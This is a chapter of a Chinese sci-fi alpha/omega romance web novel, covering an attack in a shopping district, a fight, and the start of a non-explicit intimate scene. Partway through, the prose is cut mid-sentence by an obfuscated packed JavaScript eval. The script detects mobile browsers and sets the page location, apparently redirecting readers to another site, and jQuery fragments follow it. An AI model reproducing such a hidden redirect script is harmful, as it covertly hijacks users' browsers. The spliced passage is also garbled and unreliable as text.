151.看不起谁呢!

作品:《结婚不如捡条狗[星际]

    裴清初的动作比思考更快,几乎是转瞬就跃身近前跳上桌,一把拎住陆鸣谦的脖颈,连人带椅掀倒在地!


    陆鸣谦到底做了多年文职,反应没有裴清初这个机甲单兵迅速,刚仗着基因等级高挣扎两下,到底抵不过裴清初这一跃一带的重力势能和动能,很快被制服,拖拽到旁边的角落掩体。


    来者是谁?


    裴清初脑海中飞速思考着可能性。


    陆鸣谦的脑袋被他撞在遮挡装饰物上,眼神瞬间眩晕,裴清初略微松手调整,却没想到,陆鸣谦稍作喘息,不等体力恢复,骤然偷袭!


    两人在地上扭打起来,陆鸣谦是alpha,体型和肌肉量略占上风,又是第一军校出身,跟基因等级实际只有B75的裴清初旗鼓相当。两人胶着,裴清初的格斗技巧被环境和姿势限制,一时间,竟打得难解难分。


    “外面的袭击者是谁?你的人?”


    不管怎么说,作为顶尖的前单兵,裴清初的经验还是比陆鸣谦多不少。他借体重压制陆鸣谦,眼眸微眯,见陆鸣谦不答,他神色更冷,厉声道,“皇室的人?”


    也不奇怪,自从被阎越砾针对、查封实验室,陆鸣谦就没在公众场合出现过,必然是背后的皇室给他提供了庇护所。


    那……他前来的事情,皇室也多半知情。裴清初敛眸,会是皇室派来的人吗?


    外面,商业街区乱成一锅粥,不少人抱头四散逃窜,警卫机器人边大喇叭播报,边协助疏散。


    事情发生的太突然,阎越砾安排的人在商场外围,暂时还没赶到。毕竟,谁也想不到,对方竟敢在闹市出手、发动袭击。


    混乱中,训练有素的脚步声靠近,逆着疏散的人群,朝他们所在的方向走来。


    裴清初耳尖微动,心神一沉。


    陆鸣谦忽然挣扎,竟猛然蓄力、反身将他掀翻在地!


    alpha一只手反折他的手臂,裴清初一声不吭,微微咬唇,在对方施力之前,他眸光微敛,调转体内的透明能量!


    几乎是瞬间,陆鸣谦的手臂巨颤,整个人迅速地衰老下去!


    “你、这是什么?”


    陆鸣谦伸出的手肉眼可见地变得干瘪细瘦,皮肤迅速失去弹性、皱褶增多、长出褐斑。在他看不见的地方,他的脸变得苍老枯槁而憔悴,头发顷刻间花白。


    陆鸣谦看不见自己的脸,但看苍老的手臂,也知道事态远超想象。


    裴清初没回答,迅速将他扯开,手疾眼快地塞了快蛋糕在他口中,堵上嘴,又利落地用伸缩绳索捆好,往身上一扛。


    脚步声越来越近,裴清初在心中估算距离,约莫对方停下、将要近前查看时,猛然将手边的杯子掷出!


    杯子刚一露面就被激光枪射碎,碎片落地,发出清脆声响。


    这个激光强度,不足以致命。


    裴清初做出判断,显然,这些人的主要目的不是杀人。这对他来说是好事,裴清初微微抬臂发力,将被五花大绑的陆鸣谦举起,借他吸引火力,紧接着朝一旁移动!


    陆鸣谦接连被几道激光射中,发出呜呜的声音。


    裴清初完全不觉得用他当盾牌掩体有什么不对,还在思考陆鸣谦刚才惊诧的反应——


    不是伪装,陆鸣谦并不知道“能量转移”这回事。


    这和裴清初的设想有所出入。


    如果陆鸣谦并不知道他会能量转移,那,那些失去能量的S级兽化者,是通过什么手段被吸干的?


    爆炸激起的混乱还未彻底消散,周围一片狼藉。裴清初扛着陆鸣谦东躲西藏,他既然选择这里作为见面地点,也做过不少准备。


    只是,没想到陆鸣谦、又或者说陆鸣谦背后的人,丧心病狂到如此地步,居然会在首都星的商业区发动袭击。


    裴清初蹙眉,靠在掩体后,无视惊恐的陆鸣谦。没过多久,四周一片寂静,只有悠远细长的警报声由远及近,环绕在空中。


    裴清初望着天空边缘的漆黑军舰,舰艇缓缓靠近,在近处的广场停下,落在眼前。


    ……果然,阎越砾说的话半点不能信。


    他只说安排人手在附近,却没说这前来接应的“人手”是自己的主舰。


    把军舰开到市中心,即使不是战斗模式,也足以引起轰动。裴清初在齐鸢那里也了解过目前的情况,即使众人默认阎越砾已经是个疯子,这举动也太过猖狂。


    在民众眼里,这和在闹市开炮没什么两样;在议会那里更是说不过去,如果不是出现了袭击者,这一项就足够议会告他目无法纪。


    “接到警署报告,突发事件,请各方协调避让。我方为第三军团截雷霆小队,重复……”


    在环绕的警报声中,舷梯落下,亲卫开道,阎越砾从中走下。比人先扩散的是信息素,裴清初闻不到,只觉得有什么东西淡淡落在身上,又散开。


    阎越砾的眸光不用一秒便锁定裴清初的方向,迈步走去。


    他吩咐身边的人:“搜索周围,激光枪痕迹取证检验。”


    部分袭击者撤退,剩下的几个也都自尽,阎越砾边听汇报边皱眉,看上去,是极端派的手笔。


    联邦时不时就有极端派组织的袭击——他们认为基因等级制度将人明确分类,带来了不必要的歧视。虽然基因等级改变后可以更正,但实际上,多数人的基因结果并不会有太大波动。


    这就相当于,这个21岁时的测试,判定了人的一生。


    这想法本身没问题,实际上,有Alpha至上的复古派、遵守基因等级的保守派、当然就会有不满基因等级的激进派。


    只不过,相比在议会内各执一词辩论,这些直接采用暴力手段发动袭击的人,对联邦、议会和人民来说,都是恶徒,因此,在宣传中,统一称这些人为极端派。


    不过,阎越砾心知肚明,虽然现在明面上,首都星和附近星系的混乱,多半是极端派所为;但实际上,其中也少不了各世家的推波助澜。


    没有比混乱更好操纵的东西了,不管是人员失踪、毁尸灭迹还是销毁信息,议会需要一个出口来转移联邦民众的怒火,极端派就是这样的角色。


    严格来说,阎越砾觉得,自己的待遇也差不多。时是家族要求、有时候是政治交换,几次战时状态提高税收的提案都是他交的,民间不少人认为他是个心里只有打仗的疯子——常年得不到omega滋养,暴戾偏执、狂妄自负。


    其实也没说错,阎越砾心想。


    远远的,信息素感应到omega的存在,在阎越砾的感知里轻轻摇曳,阎越砾唇角本能地上扬,又被理智压制。


    令人把omega身边那个多余的陆鸣谦带走收押,阎越砾三步并作两步地上前,隔着那堵被用作隔断的花墙,微微侧脸,让自己不看对面的身影。


    “……我们非要这样说话吗?”


    检查完陆鸣谦的状况,裴清初目送阎越砾的亲卫将人带走,回头看见花墙后的人影,有些无奈。


    “嗯,我还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376240|190819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在戒断期。”


    阎越砾并不看他,声音微哑,十分忍让克制,“我怕我忍不住。”


    裴清初实在无法理解他的痴迷,好像见了肉骨头的狗。他低头打量自己的胳膊腿,怎么看都平平无奇,不知道有什么吸引力。


    “也可以不忍。”


    让一个易感期的alpha独守空房不太人道,何况那天他也没有精疲力尽到不能忍受,裴清初想,他只是有些担心阎越砾的精神健康。


    但,如果戒断给阎越砾带来的痛苦已经超过了能带来的好处,他有什么理由拒绝对方?裴清初想,反正他们一时半会儿也不会分开,说不定,等阎越砾做够了,自然而然就不会再上瘾。


    而且……


    “我现在的身体素质还可以。”裴清初摸了摸自己的手臂,理性评估着。


    藤条枝叶编就的花墙上,几朵色彩各异的鲜花盛开,远处士兵们的翻找并没有打扰他们间的安静。


    裴清初听着阎越砾越来越沉的呼吸,很有耐心地等待着。


    “真的吗?”


    半天,阎越砾才在墙后发出声音,听不出具体的情绪,不知道是什么表情。


    裴清初并没有戒备,很坦然地点头,邀请着:“不然你来试试?”


    下一秒,仿佛乌云笼罩,alpha的身影越过两米多高的墙面落下!


    没等裴清初打招呼,他就被拥进炙热的怀中。


    冷不丁被硌了下,虽然闻不到阎越砾的信息素,但柔和的、雾一样的触感笼罩了眼耳口鼻,让周围的感知都变得朦胧。裴清初身体紧绷,却控制着自己,没有动。


    阎越砾拥着他,轻轻用鼻尖蹭他的后颈。


    说不紧张是假的,裴清初深吸一口气,他现在比第一次来到首都星、第一次出任务还要紧张。但他却很配合地、尽力地放松身体,逼迫身体服从大脑的指令。


    阎越砾也感觉到了,低低笑出声,克制地分开,后退半步,手却仍然紧紧拉住他。


    裴清初的心理建设直到上军舰都没能做好。


    阎越砾的主舰刚去巡检,开回来的时候路过本区,未携带武器。阎越砾发现袭击,顺便赶到——不管怎么说,这理由还算合理,不至于被议会往死里弹劾。


    阎越砾打了个响指,庞大的卧室里,墙壁光隐模式褪去,四周被透明全景落地窗环绕,几乎让人有居身自然室外的感觉。


    室内寂静无风,温度恰到好处,温和舒适,足以让人心旷神怡;但视觉却带着丝丝凉意,alpha有意设计,昏暗光线下,淋漓潮湿的细雨落在眼前一百八十度的竹木青石小院里,顺着假山流进浅池。


    似有若无的、氛围上的幽凉,让沐浴完的omega本能地往身边的热源倚靠,阎越砾自然地拥着怀里的人,举手投足的动作却带着限制和掌控——


    只是皮肤离开一点点,他尚且能忍受,这张床是他圈定的巢穴,如果对方要起身离开,他必然会瞬间压制对方。


    阎越砾贪婪地嗅着裴清初的发间,无法与这种“拥有”的满足感抗衡。


    仿佛圈住了一片流动的湖,他放纵自己沉溺其中。


    “你可以随时制止我。”


    他低声呢喃着,像是承诺,又像对自己的告诫。


    然而,裴清初一言不发,只是攥紧了床单。


    他……应该能做到的,望着幽暗室内alpha如同烛火般的灿金色眼眸,裴清初抿唇,给自己加油打气。


    看不起谁呢!